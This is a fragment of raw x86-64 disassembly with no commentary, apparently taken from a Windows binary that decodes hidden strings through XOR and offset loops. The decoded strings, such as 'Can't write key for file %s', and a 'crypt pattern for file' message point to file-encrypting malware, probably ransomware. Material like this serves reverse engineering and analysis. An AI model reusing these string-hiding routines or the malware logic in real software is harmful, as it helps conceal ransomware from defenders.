mov eax, dword [rsp + 0x570]
add eax, 0x5b
xor ax, word [0x1401217fe]
mov word [rsp + 0x86], ax
mov eax, dword [rsp + 0x570]
add eax, 0x5c
xor ax, word [0x140121800]
mov word [rsp + 0x90], ax
mov eax, dword [rsp + 0x570]
add eax, 0x5d
xor ax, word [0x140121802]
mov word [rsp + 0x92], ax
mov eax, dword [rsp + 0x570]
add eax, 0x5e
xor ax, word [0x140121804]
mov word [rsp + 0x88], ax
movzx eax, word [rsp + 0x158]
xor eax, 0x43
mov word [rsp + 0x3c0], ax
movzx eax, word [rsp + 0x14c]
add eax, 1
xor eax, 0x61
mov word [rsp + 0x3c2], ax
movzx eax, word [rsp + 0x148]
add eax, 2
xor eax, 0x6e
mov word [rsp + 0x3c4], ax
movzx eax, word [rsp + 0x144]
add eax, 3
xor eax, 0x27
mov word [rsp + 0x3c6], ax
movzx eax, word [rsp + 0x140]
add eax, 4
xor eax, 0x74
mov word [rsp + 0x3c8], ax
movzx eax, word [rsp + 0x13c]
add eax, 5
xor eax, 0x20
mov word [rsp + 0x3ca], ax
movzx eax, word [rsp + 0x138]
add eax, 6
xor eax, 0x77
mov word [rsp + 0x3cc], ax
movzx eax, word [rsp + 0x134]
add eax, 7
xor eax, 0x72
mov word [rsp + 0x3ce], ax
movzx eax, word [rsp + 0x130]
add eax, 8
xor eax, 0x69
mov word [rsp + 0x3d0], ax
movzx eax, word [rsp + 0x12c]
add eax, 9
xor eax, 0x74
mov word [rsp + 0x3d2], ax
movzx eax, word [rsp + 0x128]
add eax, 0xa
xor eax, 0x65
mov word [rsp + 0x3d4], ax
movzx eax, word [rsp + 0x124]
add eax, 0xb
xor eax, 0x20
mov word [rsp + 0x3d6], ax
movzx eax, word [rsp + 0x120]
add eax, 0xc
xor eax, 0x6b
mov word [rsp + 0x3d8], ax
movzx eax, word [rsp + 0x11c]
add eax, 0xd
xor eax, 0x65
mov word [rsp + 0x3da], ax
movzx eax, word [rsp + 0x118]
add eax, 0xe
xor eax, 0x79
mov word [rsp + 0x3dc], ax
movzx eax, word [rsp + 0x114]
add eax, 0xf
xor eax, 0x20
mov word [rsp + 0x3de], ax
movzx eax, word [rsp + 0x110]
add eax, 0x10
xor eax, 0x66
mov word [rsp + 0x3e0], ax
movzx eax, word [rsp + 0x10c]
add eax, 0x11
xor eax, 0x6f
mov word [rsp + 0x3e2], ax
movzx eax, word [rsp + 0x108]
add eax, 0x12
xor eax, 0x72
mov word [rsp + 0x3e4], ax
movzx eax, word [rsp + 0x104]
add eax, 0x13
xor eax, 0x20
mov word [rsp + 0x3e6], ax
movzx eax, word [rsp + 0x100]
add eax, 0x14
xor eax, 0x66
mov word [rsp + 0x3e8], ax
movzx eax, word [rsp + 0xfc]
add eax, 0x15
xor eax, 0x69
mov word [rsp + 0x3ea], ax
movzx eax, word [rsp + 0xf8]
add eax, 0x16
xor eax, 0x6c
mov word [rsp + 0x3ec], ax
movzx eax, word [rsp + 0xf4]
add eax, 0x17
xor eax, 0x65
mov word [rsp + 0x3ee], ax
movzx eax, word [rsp + 0xf0]
add eax, 0x18
xor eax, 0x20
mov word [rsp + 0x3f0], ax
movzx eax, word [rsp + 0xec]
add eax, 0x19
xor eax, 0x25
mov word [rsp + 0x3f2], ax
movzx eax, word [rsp + 0xe8]
add eax, 0x1a
xor eax, 0x73
mov word [rsp + 0x3f4], ax
movzx eax, word [rsp + 0xe4]
add eax, 0x1b
xor eax, 0x2e
mov word [rsp + 0x3f6], ax
movzx eax, word [rsp + 0xe0]
add eax, 0x1c
xor eax, 0x20
mov word [rsp + 0x3f8], ax
movzx eax, word [rsp + 0xdc]
add eax, 0x1d
xor eax, 0x47
mov word [rsp + 0x3fa], ax
movzx eax, word [rsp + 0xd8]
add eax, 0x1e
xor eax, 0x65
mov word [rsp + 0x3fc], ax
movzx eax, word [rsp + 0xd4]
add eax, 0x1f
xor eax, 0x74
mov word [rsp + 0x3fe], ax
movzx eax, word [rsp + 0xd0]
movq xmm0, qword [0x140122200]
movq xmm1, qword [0x140122208]
mov word [rsp + 0x420], r14w
mov word [rsp + 0x422], r13w
add eax, 0x20
xor eax, 0x4c
mov word [rsp + 0x400], ax
movzx eax, word [rsp + 0xcc]
add eax, 0x21
xor eax, 0x61
mov word [rsp + 0x402], ax
movzx eax, word [rsp + 0xc8]
add eax, 0x22
xor eax, 0x73
mov word [rsp + 0x404], ax
movzx eax, word [rsp + 0xc4]
add eax, 0x23
xor eax, 0x74
mov word [rsp + 0x406], ax
movzx eax, word [rsp + 0xb8]
add eax, 0x24
xor eax, 0x45
mov word [rsp + 0x408], ax
movzx eax, word [rsp + 0xc0]
add eax, 0x25
xor eax, 0x72
mov word [rsp + 0x40a], ax
movzx eax, word [rsp + 0xb4]
add eax, 0x26
xor eax, 0x72
mov word [rsp + 0x40c], ax
movzx eax, word [rsp + 0xb0]
add eax, 0x27
xor eax, 0x6f
mov word [rsp + 0x40e], ax
movzx eax, word [rsp + 0xa4]
shl rax, 0x10
or rax, r15
movzx r15d, word [rsp + 0xa8]
shl rax, 0x10
or rax, r15
movzx r15d, word [rsp + 0xac]
shl rax, 0x10
or rax, r15
movzx r15d, word [rsp + 0xa0]
movq xmm3, rax
lea eax, [r15 + 0x2c]
paddw xmm0, xmm3
movzx r15d, word [rsp + 0x9c]
xor eax, 0x25
mov word [rsp + 0x418], ax
lea eax, [r15 + 0x2d]
movzx r15d, word [rsp + 0x98]
xor eax, 0x6c
pxor xmm0, xmm1
mov word [rsp + 0x41a], ax
lea eax, [r15 + 0x2e]
movzx r15d, word [rsp + 0x94]
movq qword [rsp + 0x410], xmm0
xor eax, 0x75
mov word [rsp + 0x41c], ax
lea eax, [r15 + 0x2f]
mov word [rsp + 0x41e], ax
mov word [rsp + 0x424], r12w
movzx eax, word [rsp + 0x30]
mov word [rsp + 0x426], bp
mov word [rsp + 0x43a], ax
movzx eax, word [rsp + 0x38]
mov word [rsp + 0x428], di
mov word [rsp + 0x43c], ax
movzx eax, word [rsp + 0x46]
mov word [rsp + 0x42a], si
mov word [rsp + 0x43e], ax
movzx eax, word [rsp + 0x48]
mov word [rsp + 0x42c], bx
mov word [rsp + 0x440], ax
movzx eax, word [rsp + 0x4a]
mov word [rsp + 0x42e], r11w
mov word [rsp + 0x442], ax
movzx eax, word [rsp + 0x4c]
mov word [rsp + 0x430], r10w
mov word [rsp + 0x444], ax
movzx eax, word [rsp + 0x4e]
mov word [rsp + 0x432], r9w
mov word [rsp + 0x446], ax
movzx eax, word [rsp + 0x50]
mov word [rsp + 0x434], r8w
mov word [rsp + 0x448], ax
movzx eax, word [rsp + 0x52]
mov word [rsp + 0x436], cx
mov word [rsp + 0x44a], ax
movzx eax, word [rsp + 0x54]
mov word [rsp + 0x438], dx
mov word [rsp + 0x44c], ax
movzx eax, word [rsp + 0x56]
mov word [rsp + 0x44e], ax
movzx eax, word [rsp + 0x58]
mov word [rsp + 0x450], ax
movzx eax, word [rsp + 0x5a]
mov word [rsp + 0x452], ax
movzx eax, word [rsp + 0x5c]
mov word [rsp + 0x454], ax
movzx eax, word [rsp + 0x5e]
mov word [rsp + 0x456], ax
movzx eax, word [rsp + 0x60]
mov word [rsp + 0x458], ax
movzx eax, word [rsp + 0x62]
mov word [rsp + 0x45a], ax
movzx eax, word [rsp + 0x64]
mov word [rsp + 0x45c], ax
movzx eax, word [rsp + 0x66]
mov word [rsp + 0x45e], ax
movzx eax, word [rsp + 0x68]
mov word [rsp + 0x460], ax
movzx eax, word [rsp + 0x6a]
mov word [rsp + 0x462], ax
movzx eax, word [rsp + 0x6c]
mov word [rsp + 0x464], ax
movzx eax, word [rsp + 0x6e]
mov word [rsp + 0x466], ax
movzx eax, word [rsp + 0x70]
mov word [rsp + 0x468], ax
movzx eax, word [rsp + 0x72]
mov word [rsp + 0x46a], ax
movzx eax, word [rsp + 0x74]
mov word [rsp + 0x46c], ax
movzx eax, word [rsp + 0x76]
mov word [rsp + 0x46e], ax
movzx eax, word [rsp + 0x84]
movdqu xmm4, xmmword [rsp + 0x3c0]
movdqu xmm5, xmmword [rsp + 0x3d0]
mov word [rsp + 0x470], ax
movzx eax, word [rsp + 0x78]
movdqu xmm6, xmmword [rsp + 0x3e0]
movups xmmword [rsp + 0x574], xmm4
movdqu xmm3, xmmword [rsp + 0x3f0]
mov word [rsp + 0x472], ax
movzx eax, word [rsp + 0x80]
movups xmmword [rsp + 0x584], xmm5
movdqu xmm4, xmmword [rsp + 0x400]
movdqu xmm5, xmmword [rsp + 0x410]
mov word [rsp + 0x474], ax
movzx eax, word [rsp + 0x86]
movups xmmword [rsp + 0x594], xmm6
movdqu xmm7, xmmword [rsp + 0x420]
movdqu xmm2, xmmword [rsp + 0x430]
mov word [rsp + 0x476], ax
movzx eax, word [rsp + 0x90]
movdqu xmm6, xmmword [rsp + 0x440]
movups xmmword [rsp + 0x5a4], xmm3
mov word [rsp + 0x478], ax
movzx eax, word [rsp + 0x92]
movups xmmword [rsp + 0x5b4], xmm4
mov word [rsp + 0x47a], ax
movzx eax, word [rsp + 0x88]
movups xmmword [rsp + 0x5c4], xmm5
mov word [rsp + 0x47c], ax
xor eax, eax
movups xmmword [rsp + 0x5d4], xmm7
movups xmmword [rsp + 0x5e4], xmm2
movups xmmword [rsp + 0x5f4], xmm6
movdqu xmm1, xmmword [rsp + 0x450]
movdqu xmm3, xmmword [rsp + 0x460]
movdqu xmm4, xmmword [rsp + 0x470]
movups xmmword [rsp + 0x604], xmm1
movups xmmword [rsp + 0x614], xmm3
movups xmmword [rsp + 0x624], xmm4
nop dword [rax]
movzx ecx, word [rsp + rax*2 + 0x574]
mov edx, dword [rsp + 0x570]
add edx, eax
xor edx, ecx
mov word [rsp + rax*2 + 0x574], dx
add rax, 1
cmp rax, 0x5f
jne 0x140031168
jmp 0x14002ed5d
mov rax, qword [0x140122128]
mov rdx, rdi
mov rcx, rbx
mov dword [rsp + 0x488], r14d
movq qword [rsp + 0x480], xmm6
mov byte [rsp + 0x57c], 0
mov qword [rsp + 0x570], rax
mov dword [rsp + 0x578], 0x726f7272
mov byte [rsp + 0x48c], 0
call fcn.140002660
call rax
mov dword [rsp + 0xc4], eax
mov rax, qword [rsi]
mov qword [rsp + 0xb8], rax
movzx eax, word [0x14012181c]
lea r15d, [rax + 7]
movzx eax, word [0x14012181e]
lea r14d, [rax + 7]
movzx eax, word [0x140121820]
lea r13d, [rax + 7]
movzx eax, word [0x140121822]
lea r12d, [rax + 7]
movzx eax, word [0x140121824]
lea ebp, [rax + 7]
movzx eax, word [0x140121826]
lea edi, [rax + 7]
movzx eax, word [0x140121828]
lea esi, [rax + 7]
movzx eax, word [0x14012182a]
lea r11d, [rax + 7]
movzx eax, word [0x14012182c]
lea r10d, [rax + 7]
movzx eax, word [0x14012182e]
lea r9d, [rax + 7]
movzx eax, word [0x140121830]
lea r8d, [rax + 7]
movzx eax, word [0x140121832]
lea ecx, [rax + 7]
movzx eax, word [0x140121834]
lea edx, [rax + 7]
movzx eax, word [0x140121836]
add eax, 7
mov word [rsp + 0x30], ax
movzx eax, word [0x140121838]
add eax, 7
mov word [rsp + 0x38], ax
movzx eax, word [0x14012183a]
add eax, 7
mov word [rsp + 0x46], ax
movzx eax, word [0x14012183c]
add eax, 7
mov word [rsp + 0x48], ax
movzx eax, word [0x14012183e]
add eax, 7
mov word [rsp + 0x4a], ax
movzx eax, word [0x140121840]
add eax, 7
mov word [rsp + 0x4c], ax
movzx eax, word [0x140121842]
add eax, 7
mov word [rsp + 0x4e], ax
movzx eax, word [0x140121844]
add eax, 7
mov word [rsp + 0x50], ax
movzx eax, word [0x140121846]
add eax, 7
mov word [rsp + 0x52], ax
movzx eax, word [0x140121848]
add eax, 7
mov word [rsp + 0x54], ax
movzx eax, word [0x14012184a]
add eax, 7
mov word [rsp + 0x56], ax
movzx eax, word [0x14012184c]
add eax, 7
mov word [rsp + 0x58], ax
movzx eax, word [0x14012184e]
add eax, 7
mov word [rsp + 0x5a], ax
movzx eax, word [0x140121850]
add eax, 7
mov word [rsp + 0x5c], ax
movzx eax, word [0x140121852]
add eax, 7
mov word [rsp + 0x5e], ax
movzx eax, word [0x140121854]
add eax, 7
mov word [rsp + 0x60], ax
movzx eax, word [0x140121856]
add eax, 7
mov word [rsp + 0x62], ax
movzx eax, word [0x140121858]
add eax, 7
mov word [rsp + 0x64], ax
movzx eax, word [0x14012185a]
add eax, 7
mov word [rsp + 0x66], ax
movzx eax, word [0x14012185c]
add eax, 7
mov word [rsp + 0x68], ax
movzx eax, word [0x14012185e]
add eax, 7
mov word [rsp + 0x6a], ax
movzx eax, word [0x140121860]
add eax, 7
mov word [rsp + 0x6c], ax
movzx eax, word [0x140121862]
add eax, 7
mov word [rsp + 0x6e], ax
movzx eax, word [0x140121864]
add eax, 7
mov word [rsp + 0x70], ax
movzx eax, word [0x140121866]
add eax, 7
mov word [rsp + 0x72], ax
movzx eax, word [0x140121868]
add eax, 7
mov word [rsp + 0x74], ax
movzx eax, word [0x14012186a]
add eax, 7
mov word [rsp + 0x76], ax
movzx eax, word [0x14012186c]
add eax, 7
mov word [rsp + 0x84], ax
movzx eax, word [0x14012186e]
add eax, 7
mov word [rsp + 0x78], ax
movzx eax, word [0x140121870]
add eax, 7
mov word [rsp + 0x80], ax
movzx eax, word [0x140121872]
add eax, 7
mov word [rsp + 0x86], ax
movzx eax, word [0x140121874]
add eax, 7
mov word [rsp + 0x90], ax
movzx eax, word [0x140121876]
add eax, 7
mov word [rsp + 0x92], ax
movzx eax, word [0x140121878]
add eax, 7
mov word [rsp + 0x88], ax
movzx eax, word [0x14012187a]
add eax, 7
mov word [rsp + 0x94], ax
movzx eax, word [0x14012187c]
add eax, 7
mov word [rsp + 0x98], ax
movzx eax, word [0x14012187e]
add eax, 7
mov word [rsp + 0x9c], ax
movzx eax, word [0x140121880]
add eax, 7
mov word [rsp + 0xa0], ax
movzx eax, word [0x140121882]
add eax, 7
mov word [rsp + 0xa4], ax
movzx eax, word [0x140121884]
add eax, 7
mov word [rsp + 0xa8], ax
movzx eax, word [0x140121886]
movdqu xmm0, xmmword [0x140122270]
mov dword [rsp + 0x5e0], 0x7007c
add eax, 7
mov word [rsp + 0x5e4], r15w
movups xmmword [rsp + 0x570], xmm0
movdqu xmm0, xmmword [0x140122280]
mov word [rsp + 0xac], ax
movzx eax, word [0x140121888]
movups xmmword [rsp + 0x580], xmm0
movdqu xmm0, xmmword [0x140122290]
add eax, 7
mov word [rsp + 0x5e6], r14w
movups xmmword [rsp + 0x590], xmm0
movdqu xmm0, xmmword [0x1401222a0]
mov word [rsp + 0xb0], ax
movzx eax, word [0x14012188a]
movups xmmword [rsp + 0x5a0], xmm0
movdqu xmm0, xmmword [0x1401222b0]
add eax, 7
mov word [rsp + 0x5ec], bp
movups xmmword [rsp + 0x5b0], xmm0
movdqu xmm0, xmmword [0x1401222c0]
mov word [rsp + 0xb4], ax
movzx eax, word [0x14012188c]
movups xmmword [rsp + 0x5c0], xmm0
movdqu xmm0, xmmword [0x1401222d0]
add eax, 7
mov word [rsp + 0x5ee], di
mov word [rsp + 0xc0], ax
mov word [rsp + 0x5e8], r13w
mov word [rsp + 0x5ea], r12w
mov word [rsp + 0x5f0], si
mov word [rsp + 0x5f2], r11w
mov word [rsp + 0x5f4], r10w
movups xmmword [rsp + 0x5d0], xmm0
mov word [rsp + 0x5f6], r9w
movzx eax, word [rsp + 0x30]
mov word [rsp + 0x5f8], r8w
xor r8d, r8d
mov word [rsp + 0x5fe], ax
movzx eax, word [rsp + 0x38]
mov word [rsp + 0x5fc], dx
movabs rdx, 0x79007e0027007b
mov word [rsp + 0x600], ax
movzx eax, word [rsp + 0x46]
mov word [rsp + 0x5fa], cx
mov word [rsp + 0x602], ax
movzx eax, word [rsp + 0x48]
mov word [rsp + 0x604], ax
movzx eax, word [rsp + 0x4a]
mov word [rsp + 0x606], ax
movzx eax, word [rsp + 0x4c]
mov word [rsp + 0x608], ax
movzx eax, word [rsp + 0x4e]
mov word [rsp + 0x60a], ax
movzx eax, word [rsp + 0x50]
mov word [rsp + 0x60c], ax
movzx eax, word [rsp + 0x52]
mov word [rsp + 0x60e], ax
movzx eax, word [rsp + 0x54]
mov word [rsp + 0x610], ax
movzx eax, word [rsp + 0x56]
mov word [rsp + 0x612], ax
movzx eax, word [rsp + 0x58]
mov word [rsp + 0x614], ax
movzx eax, word [rsp + 0x5a]
mov word [rsp + 0x616], ax
movzx eax, word [rsp + 0x5c]
mov word [rsp + 0x618], ax
movzx eax, word [rsp + 0x5e]
mov word [rsp + 0x61a], ax
movzx eax, word [rsp + 0x60]
mov word [rsp + 0x61c], ax
movzx eax, word [rsp + 0x62]
mov word [rsp + 0x61e], ax
movzx eax, word [rsp + 0x64]
mov word [rsp + 0x620], ax
movzx eax, word [rsp + 0x66]
mov word [rsp + 0x622], ax
movzx eax, word [rsp + 0x68]
mov word [rsp + 0x624], ax
movzx eax, word [rsp + 0x6a]
mov word [rsp + 0x626], ax
movzx eax, word [rsp + 0x6c]
mov word [rsp + 0x628], ax
movzx eax, word [rsp + 0x6e]
mov word [rsp + 0x62a], ax
movzx eax, word [rsp + 0x70]
mov word [rsp + 0x62c], ax
movzx eax, word [rsp + 0x72]
mov word [rsp + 0x62e], ax
movzx eax, word [rsp + 0x74]
mov word [rsp + 0x630], ax
movzx eax, word [rsp + 0x76]
mov word [rsp + 0x632], ax
movzx eax, word [rsp + 0x84]
mov word [rsp + 0x634], ax
movzx eax, word [rsp + 0x78]
mov word [rsp + 0x636], ax
movzx eax, word [rsp + 0x80]
mov word [rsp + 0x638], ax
movzx eax, word [rsp + 0x86]
mov word [rsp + 0x63a], ax
movzx eax, word [rsp + 0x90]
mov word [rsp + 0x656], r8w
mov word [rsp + 0x63c], ax
movzx eax, word [rsp + 0x92]
mov word [rsp + 0x63e], ax
movzx eax, word [rsp + 0x88]
mov word [rsp + 0x640], ax
movzx eax, word [rsp + 0x94]
mov word [rsp + 0x642], ax
movzx eax, word [rsp + 0x98]
mov word [rsp + 0x644], ax
movzx eax, word [rsp + 0x9c]
mov word [rsp + 0x646], ax
movzx eax, word [rsp + 0xa0]
mov word [rsp + 0x648], ax
movzx eax, word [rsp + 0xa4]
mov word [rsp + 0x64a], ax
movzx eax, word [rsp + 0xa8]
mov word [rsp + 0x64c], ax
movzx eax, word [rsp + 0xac]
mov word [rsp + 0x64e], ax
movzx eax, word [rsp + 0xb0]
mov word [rsp + 0x650], ax
movzx eax, word [rsp + 0xb4]
mov word [rsp + 0x652], ax
movzx eax, word [rsp + 0xc0]
mov word [rsp + 0x654], ax
movabs rax, 0x2e00750068004a
mov qword [rsp + 0x480], rax
movabs rax, 0x27006c007b0070
mov qword [rsp + 0x488], rdx
movabs rdx, 0x7700800079006a
mov qword [rsp + 0x490], rax
movabs rax, 0x6800770027007b
mov qword [rsp + 0x498], rdx
movabs rdx, 0x79006c007b007b
mov qword [rsp + 0x4a0], rax
movabs rax, 0x76006d00270075
mov qword [rsp + 0x4a8], rdx
movabs rdx, 0x70006d00270079
movdqu xmm5, xmmword [rsp + 0x5e0]
mov qword [rsp + 0x4b0], rax
movabs rax, 0x2c0027006c0073
movdqu xmm7, xmmword [rsp + 0x5f0]
mov qword [rsp + 0x4b8], rdx
movabs rdx, 0x4e00270035007a
movdqu xmm2, xmmword [rsp + 0x600]
mov qword [rsp + 0x4c0], rax
movabs rax, 0x680053007b006c
movdqu xmm6, xmmword [rsp + 0x620]
mov qword [rsp + 0x4c8], rdx
movabs rdx, 0x79004c007b007a
movdqu xmm1, xmmword [rsp + 0x640]
mov qword [rsp + 0x4d0], rax
movabs rax, 0x27007900760079
mov qword [rsp + 0x4d8], rdx
movabs rdx, 0x73002c00270044
mov qword [rsp + 0x4e0], rax
mov rax, qword [rsp + 0x650]
mov qword [rsp + 0x4e8], rdx
movups xmmword [rsp + 0x4f0], xmm5
movdqu xmm5, xmmword [rsp + 0x610]
movups xmmword [rsp + 0x500], xmm7
movdqu xmm7, xmmword [rsp + 0x630]
movups xmmword [rsp + 0x510], xmm2
movups xmmword [rsp + 0x520], xmm5
movups xmmword [rsp + 0x530], xmm6
movups xmmword [rsp + 0x540], xmm7
movups xmmword [rsp + 0x550], xmm1
mov qword [rsp + 0x560], rax
xor eax, eax
nop word [rax + rax]
movzx edx, word [rsp + rax*2 + 0x480]
sub edx, 7
mov word [rsp + rax*2 + 0x480], dx
add rax, 1
cmp rax, 0x73
jne 0x140031a28
mov r8d, dword [rsp + 0xc4]
mov rdx, qword [rsp + 0xb8]
mov rcx, rbx
call fcn.14000c8b0
jmp 0x14002ed84
mov rax, qword [0x140122128]
mov rcx, rbx
mov rdx, rdi
mov dword [rsp + 0x488], r14d
movq qword [rsp + 0x480], xmm6
mov byte [rsp + 0x57c], 0
mov qword [rsp + 0x570], rax
mov dword [rsp + 0x578], 0x726f7272
mov byte [rsp + 0x48c], 0
call fcn.140002660
call rax
movzx r15d, word [0x1401217ba]
xor ecx, ecx
movzx edx, word [0x1401217b6]
mov dword [rsp + 0x94], eax
mov rax, qword [rsi]
xor r15d, 0x7a
xor edx, 0x7a
mov word [rsp + 0x53e], cx
movzx r14d, word [str.Cant_write_crypt_pattern_for_file__s._GetLastError___lu]
mov qword [rsp + 0x88], rax
movzx eax, word [0x1401217b8]
mov word [rsp + 0x30], dx
movzx ebx, word [0x1401217aa]
xor r14d, 0x7a
xor eax, 0x7a
mov word [rsp + 0x46], r15w
movzx r15d, word [0x1401217be]
mov word [rsp + 0x38], ax
movzx eax, word [0x1401217bc]
xor ebx, 0x7a
xor r15d, 0x7a
movzx r11d, word [0x1401217ac]
movzx r10d, word [0x1401217ae]
mov dword [rsp + 0x570], 0x7a
xor eax, 0x7a
mov word [rsp + 0x4a], r15w
movzx r15d, word [0x1401217c2]
mov word [rsp + 0x48], ax
movzx eax, word [0x1401217c0]
xor r11d, 0x7a
xor r10d, 0x7a
xor r15d, 0x7a
movzx r9d, word [0x1401217b0]
movzx r8d, word [0x1401217b2]
xor eax, 0x7a
mov word [rsp + 0x4e], r15w
movzx ecx, word [0x1401217b4]
mov word [rsp + 0x4c], ax
movzx eax, word [0x1401217c4]
xor r9d, 0x7a
xor r8d, 0x7a
movzx r15d, word [0x1401217c6]
xor ecx, 0x7a
xor eax, 0x7a
mov word [rsp + 0x50], ax
movzx eax, word [0x1401217c8]
xor r15d, 0x7a
mov word [rsp + 0x52], r15w
xor eax, 0x7a
mov word [rsp + 0x54], ax
movzx r15d, word [0x1401217ca]
movzx eax, word [0x1401217cc]
xor r15d, 0x7a
xor eax, 0x7a
mov word [rsp + 0x56], r15w
movzx r15d, word [0x1401217ce]
mov word [rsp + 0x58], ax
movzx eax, word [0x1401217d0]
xor r15d, 0x7a
xor eax, 0x7a
mov word [rsp + 0x5a], r15w
movzx r15d, word [0x1401217d2]
mov word [rsp + 0x5c], ax
movzx eax, word [0x1401217d4]
xor r15d, 0x7a
xor eax, 0x7a
mov word [rsp + 0x5e], r15w
movzx r15d, word [0x1401217d6]
mov word [rsp + 0x60], ax
movzx eax, word [0x1401217d8]
xor r15d, 0x7a
xor eax, 0x7a
mov word [rsp + 0x62], r15w
movzx r15d, word [0x1401217da]
mov word [rsp + 0x64], ax
movzx eax, word [0x1401217dc]
xor r15d, 0x7a
xor eax, 0x7a
mov word [rsp + 0x66], r15w
movzx r15d, word [0x1401217de]
mov word [rsp + 0x68], ax
movzx eax, word [0x1401217e0]
xor r15d, 0x7a
xor eax, 0x7a
mov word [rsp + 0x6a], r15w
movzx r15d, word [0x1401217e2]
mov word [rsp + 0x6c], ax
movzx eax, word [0x1401217e4]
xor r15d, 0x7a
xor eax, 0x7a
mov word [rsp + 0x6e], r15w
movzx r15d, word [0x1401217e6]
mov word [rsp + 0x70], ax
movzx eax, word [0x1401217e8]
xor r15d, 0x7a
xor eax, 0x7a
mov word [rsp + 0x72], r15w
mov word [rsp + 0x74], ax
movzx r15d, word [0x1401217ea]
movzx eax, word [0x1401217ec]
movdqu xmm1, xmmword [0x1401222f0]
xor r15d, 0x7a
movzx edx, word [0x140121804]
movq xmm0, qword [0x1401222e8]
mov word [rsp + 0x76], r15w
movzx r15d, word [0x1401217ee]
xor eax, 0x7a
mov word [rsp + 0x84], ax
movzx eax, word [0x1401217f0]
xor edx, 0x7a
xor r15d, 0x7a
movups xmmword [rsp + 0x480], xmm1
movdqu xmm1, xmmword [0x140122300]
mov word [rsp + 0x78], r15w
movzx r15d, word [0x1401217f2]
xor eax, 0x7a
mov word [rsp + 0x80], ax
movzx eax, word [0x1401217f4]
xor r15d, 0x7a
movups xmmword [rsp + 0x490], xmm1
movdqu xmm1, xmmword [0x140122310]
mov word [rsp + 0x86], r15w
xor eax, 0x7a
movzx r15d, word [0x1401217f6]
mov word [rsp + 0x90], ax
movzx eax, word [0x1401217fe]
xor r15d, 0x7a
movups xmmword [rsp + 0x4a0], xmm1
movdqu xmm1, xmmword [str.Z__tTZ]
mov word [rsp + 0x92], r15w
shl rax, 0x10
movzx r15d, word [0x1401217fc]
movups xmmword [rsp + 0x4b0], xmm1
movdqu xmm1, xmmword [0x140122330]
or rax, r15
movzx r15d, word [0x1401217fa]
shl rax, 0x10
movups xmmword [rsp + 0x4c0], xmm1
or rax, r15
movzx r15d, word [0x1401217f8]
shl rax, 0x10
or rax, r15
movzx r15d, word [0x140121800]
movq xmm2, rax
movzx eax, word [0x140121802]
movdqu xmm1, xmmword [str._bZGZ_]
mov word [rsp + 0x4e2], bx
movzx ebx, word [rsp + 0x30]
pxor xmm0, xmm2
mov word [rsp + 0x4e0], r14w
xor r15d, 0x7a
movups xmmword [rsp + 0x4d0], xmm1
xor eax, 0x7a
mov word [rsp + 0x4ee], bx
movzx ebx, word [rsp + 0x38]
mov word [rsp + 0x4e4], r11w
mov word [rsp + 0x4f0], bx
movzx ebx, word [rsp + 0x46]
mov word [rsp + 0x4e6], r10w
mov word [rsp + 0x4f2], bx
movzx ebx, word [rsp + 0x48]
mov word [rsp + 0x4e8], r9w
mov word [rsp + 0x4f4], bx
movzx ebx, word [rsp + 0x4a]
mov word [rsp + 0x4ea], r8w
mov word [rsp + 0x4f6], bx
movzx ebx, word [rsp + 0x4c]
mov word [rsp + 0x4ec], cx
mov word [rsp + 0x4f8], bx
movzx ebx, word [rsp + 0x4e]
mov word [rsp + 0x4fa], bx
movzx ebx, word [rsp + 0x50]
mov word [rsp + 0x4fc], bx
movzx ebx, word [rsp + 0x52]
mov word [rsp + 0x4fe], bx
movzx ebx, word [rsp + 0x54]
mov word [rsp + 0x500], bx
movzx ebx, word [rsp + 0x56]
mov word [rsp + 0x502], bx
movzx ebx, word [rsp + 0x58]
mov word [rsp + 0x504], bx
movzx ebx, word [rsp + 0x5a]
mov word [rsp + 0x506], bx
movzx ebx, word [rsp + 0x5c]
mov word [rsp + 0x508], bx
movzx ebx, word [rsp + 0x5e]
mov word [rsp + 0x50a], bx
movzx ebx, word [rsp + 0x60]
mov word [rsp + 0x50c], bx
movzx ebx, word [rsp + 0x62]
mov word [rsp + 0x50e], bx
movzx ebx, word [rsp + 0x64]
mov word [rsp + 0x510], bx
movzx ebx, word [rsp + 0x66]
mov word [rsp + 0x512], bx
movzx ebx, word [rsp + 0x68]
mov word [rsp + 0x514], bx
movzx ebx, word [rsp + 0x6a]
mov word [rsp + 0x516], bx
movzx ebx, word [rsp + 0x6c]
mov word [rsp + 0x518], bx
movzx ebx, word [rsp + 0x6e]
mov word [rsp + 0x51a], bx
movzx ebx, word [rsp + 0x70]
mov word [rsp + 0x51c], bx
movzx ebx, word [rsp + 0x72]
mov word [rsp + 0x51e], bx
movzx ebx, word [rsp + 0x74]
mov word [rsp + 0x520], bx
movzx ebx, word [rsp + 0x76]
mov word [rsp + 0x522], bx
movzx ebx, word [rsp + 0x84]
mov word [rsp + 0x524], bx
movzx ebx, word [rsp + 0x78]
mov word [rsp + 0x53a], ax
movabs rax, 0x5d0014001b0039
movdqu xmm3, xmmword [rsp + 0x4e0]
mov word [rsp + 0x526], bx
movzx ebx, word [rsp + 0x80]
mov word [rsp + 0x53c], dx
movabs rdx, 0x8000d005a000e
movdqu xmm4, xmmword [rsp + 0x4f0]
mov word [rsp + 0x528], bx
movzx ebx, word [rsp + 0x86]
mov qword [rsp + 0x574], rax
movabs rax, 0x5a001f000e0013
movdqu xmm5, xmmword [rsp + 0x500]
mov qword [rsp + 0x57c], rdx
movabs rdx, 0x5a0003001f0011
mov qword [rsp + 0x584], rax
movabs rax, 0x5a00080015001c
mov qword [rsp + 0x58c], rdx
movabs rdx, 0x1f00160013001c
mov word [rsp + 0x52a], bx
movzx ebx, word [rsp + 0x90]
mov qword [rsp + 0x594], rax
movabs rax, 0x540009005f005a
mov qword [rsp + 0x59c], rdx
movabs rdx, 0xe001f003d005a
mov qword [rsp + 0x5a4], rax
movabs rax, 0xe0009001b0036
mov qword [rsp + 0x5ac], rdx
movabs rdx, 0x1500080008003f
mov word [rsp + 0x52c], bx
movzx ebx, word [rsp + 0x92]
mov qword [rsp + 0x5b4], rax
movabs rax, 0x5a0047005a0008
mov qword [rsp + 0x5bc], rdx
movabs rdx, 0x7a000f0016005f
mov qword [rsp + 0x5c4], rax
xor eax, eax
mov qword [rsp + 0x5cc], rdx
mov word [rsp + 0x52e], bx
movups xmmword [rsp + 0x5d4], xmm3
mov word [rsp + 0x538], r15w
movups xmmword [rsp + 0x5e4], xmm4
movq qword [rsp + 0x530], xmm0
movups xmmword [rsp + 0x5f4], xmm5
movdqu xmm6, xmmword [rsp + 0x510]
movdqu xmm7, xmmword [rsp + 0x520]
movdqu xmm1, xmmword [rsp + 0x530]
